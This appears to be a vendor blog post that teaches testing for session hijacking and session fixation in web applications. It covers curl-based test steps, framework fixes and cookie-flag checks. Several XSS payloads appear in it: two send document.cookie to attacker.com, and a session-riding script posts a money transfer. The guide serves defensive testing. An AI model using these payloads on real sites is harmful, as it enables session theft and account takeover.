Session Fixation and Session Hijacking: Testing Guide for Web Applications

Sessions are the mechanism web applications use to maintain authenticated state across stateless HTTP. A session token is issued at login, stored in a cookie or URL parameter, and presented with every subsequent request. The application trusts whoever presents a valid token. That trust relationship is exactly what session attacks exploit.

Session hijacking — stealing or predicting a valid session token to impersonate a user — and session fixation — forcing a victim to use a token the attacker controls before authentication — are distinct techniques with different attack vectors and different detection methods. Understanding both is essential for any comprehensive authentication test.

Session Hijacking: Stealing Tokens in Transit or at Rest

Session hijacking requires the attacker to obtain a victim's session token. There are several paths to that token:

1. Cookie Theft via Cross-Site Scripting

XSS is the most reliable session hijacking vector. If an attacker can execute JavaScript in the victim's browser, they can read session cookies (unless the HttpOnly flag is set) and exfiltrate them:

<!-- Classic cookie exfiltration via XSS -->
<script>
  new Image().src = "https://attacker.com/steal?c=" + document.cookie;
</script>

<!-- Alternative using fetch -->
<script>
  fetch("https://attacker.com/steal", {
    method: "POST",
    body: document.cookie
  });
</script>

The HttpOnly cookie flag prevents JavaScript access to the cookie. It doesn't prevent all session theft — an attacker can still make requests using the victim's session if they can execute JavaScript in the origin — but it does stop the direct cookie read.

2. Network Interception

On networks without TLS, session tokens in HTTP requests are visible to any observer on the path. This is now rare in production applications but persists in internal applications, staging environments, and HTTP-accessible admin panels.

Test conditions that expose sessions over HTTP:

3. Predictable Session Tokens

Weak random number generators or deterministic token generation can make session tokens predictable. This is largely a solved problem in modern frameworks, but custom session implementations still appear in legacy applications.

# Collect session tokens and analyze entropy
# Token analysis with OWASP's Burp Suite Session Analyzer
# Or manually: collect 50+ tokens and look for patterns

# Low-entropy indicators:
# - Sequential numbers (session=1000, session=1001)
# - Timestamps embedded in tokens
# - User ID concatenated with weak entropy
# - Base64-encoded predictable values

# Example: token "dXNlcklkPTEyMzQ=" decodes to "userId=1234"
echo "dXNlcklkPTEyMzQ=" | base64 -d
# Output: userId=1234

4. Session Token in URL

When session tokens appear in URLs (https://app.example.com/dashboard?sessionId=abc123), they leak through browser history, server access logs, Referer headers, and any analytics or third-party script that reads document.location.

# Check for session tokens in URLs
# Look for patterns like:
# ?sid=, ?session=, ?token=, ?auth=, ;jsessionid=, ;PHPSESSID=

# Java legacy apps still frequently use URL rewriting:
# https://app.example.com/page;jsessionid=ABC123DEF456GHI789JKL012

# Test: click a link from the application to an external site.
# Does the Referer header reveal the session token?

Session Fixation: Controlling the Token Before Authentication

Session fixation is subtler than direct theft. The attack works in three steps:

  1. The attacker obtains a pre-authentication session token from the application (many applications issue sessions to anonymous visitors)
  2. The attacker tricks the victim into using that specific token (via a crafted link, a cookie injection, or an XSS payload)
  3. The victim authenticates. The application upgrades the session's privilege level but keeps the same token ID
  4. The attacker, who already knows the token, now has an authenticated session

The critical vulnerability is step 3: the application does not regenerate the session token on login. This is the test to run.

Testing for Session Fixation

# Manual test procedure:
# 1. Visit the login page without logging in — note the session cookie value
# 2. Log in with valid credentials
# 3. Compare the session cookie before and after login

# If the token is the same before and after authentication:
# → The application is vulnerable to session fixation

# Using curl to capture session tokens:
curl -c before-login.txt https://app.example.com/login
# Log in manually or via curl -d 'username=...&password=...'
curl -b before-login.txt -c after-login.txt -d 'username=user&password=pass' \
  https://app.example.com/login

# Compare:
grep -i session before-login.txt
grep -i session after-login.txt

The fix is straightforward: the session token must be regenerated immediately after successful authentication. Every major web framework provides this:

# PHP
session_regenerate_id(true);  // true = delete old session

# Python/Flask
# Flask-Login does this automatically; if using raw sessions:
session.clear()
session['user_id'] = user.id  # new session token auto-generated

# Node.js/Express with express-session
req.session.regenerate(function(err) {
  req.session.user = authenticatedUser;
});

# Java/Spring Security
# Set invalidate-session=true in the session management config
# Spring Security does this by default

URL-Based Session Fixation

Applications that accept session tokens in URL parameters are vulnerable to a specific fixation variant where the attacker crafts a link with a known token:

# Attacker sends victim this link:
https://app.example.com/login?PHPSESSID=ATTACKER_CONTROLLED_TOKEN

# If the application accepts the session ID from the URL and doesn't
# regenerate on login, the attacker already knows the authenticated token

Test by manually setting a session token via URL parameter before logging in, then checking if the application accepted and used that token post-authentication.

Testing Session Token Security Properties

Cookie Flags Checklist

Every session cookie should have these flags set. Testing is straightforward — inspect the Set-Cookie response header after login:

# Ideal session cookie header:
Set-Cookie: sessionId=abc123; Secure; HttpOnly; SameSite=Strict; Path=/

# Test via curl:
curl -v -d 'username=user&password=pass' https://app.example.com/login 2>&1 | grep -i set-cookie
Flag Purpose Risk if missing
Secure Cookie only sent over HTTPS Token transmitted in cleartext over HTTP
HttpOnly Cookie inaccessible to JavaScript XSS can steal the token via document.cookie
SameSite=Strict Cookie not sent in cross-origin requests Enables CSRF and XSSI attacks
Appropriate Path Scope cookie to application path Cookie sent to unrelated paths on the same domain
Appropriate Domain Limit cookie scope to correct subdomain Cookie accessible to sibling subdomains

Session Timeout and Invalidation

A complete session test covers not just how sessions are issued but how they expire:

# Test 1: Absolute timeout
# Record a session token at T=0, use it 4 hours later — is it still valid?

# Test 2: Idle timeout
# Record a session token, wait 30 minutes without activity — is it still valid?

# Test 3: Logout invalidation
# Log in, capture the session token, log out, try the token again — is it rejected?
curl -b "session=CAPTURED_TOKEN" https://app.example.com/api/profile

# Test 4: Concurrent sessions
# Log in from two different browsers simultaneously — are both sessions valid?
# This is policy-dependent but should be documented

# Test 5: Password change invalidation
# Log in, change password, use old session token — is it invalidated?

Logout that doesn't server-side invalidate the session token is a common defect. If the token remains valid after the user clicks "Log Out," an attacker who obtained the token through any means retains access indefinitely.

Session Token Entropy Analysis

# Collect multiple session tokens and check for patterns
# A minimum of 128 bits of entropy is recommended (OWASP)

# Check token length — too short means insufficient entropy
echo -n "abc123" | wc -c   # 6 characters = weak

# For hex tokens, length in bytes = length/2
# 32 hex chars = 16 bytes = 128 bits — minimum acceptable
# 64 hex chars = 32 bytes = 256 bits — good

# Check for predictability:
# Look at 20+ sequential tokens from different sessions
# If tokens share prefixes, have patterns, or increment sequentially → vulnerable

# Use Burp Suite's Sequencer to statistically analyze token entropy

Session Riding via XSS (Combined Attack)

When HttpOnly is set, direct cookie theft via XSS is blocked — but session riding isn't. An XSS payload can make authenticated requests on the victim's behalf using the browser's session without ever reading the cookie value:

<script>
// Fetch CSRF token from a protected endpoint
fetch('/api/csrf-token', {credentials: 'include'})
  .then(r => r.text())
  .then(csrf => {
    // Use the CSRF token to make an authenticated action
    return fetch('/api/transfer', {
      method: 'POST',
      credentials: 'include',
      headers: {'X-CSRF-Token': csrf, 'Content-Type': 'application/json'},
      body: JSON.stringify({to: 'attacker', amount: 1000})
    });
  });
</script>

This is why XSS prevention is the primary defense against session compromise — even HttpOnly tokens are vulnerable to account takeover if XSS is present.

Remediation Summary

How Ironimo Tests Session Security

Ironimo's session security checks cover the full lifecycle: cookie flag analysis on login responses, session token entropy assessment, logout invalidation verification, and session fixation detection. The fixation test specifically checks whether the session token changes after successful authentication — the single most common session management defect in custom-built applications.

Session management defects are invisible until they're exploited. Ironimo's authentication testing module checks token generation, cookie flags, fixation vulnerability, and logout behavior as part of every scan.

Start free scan
← Back to blog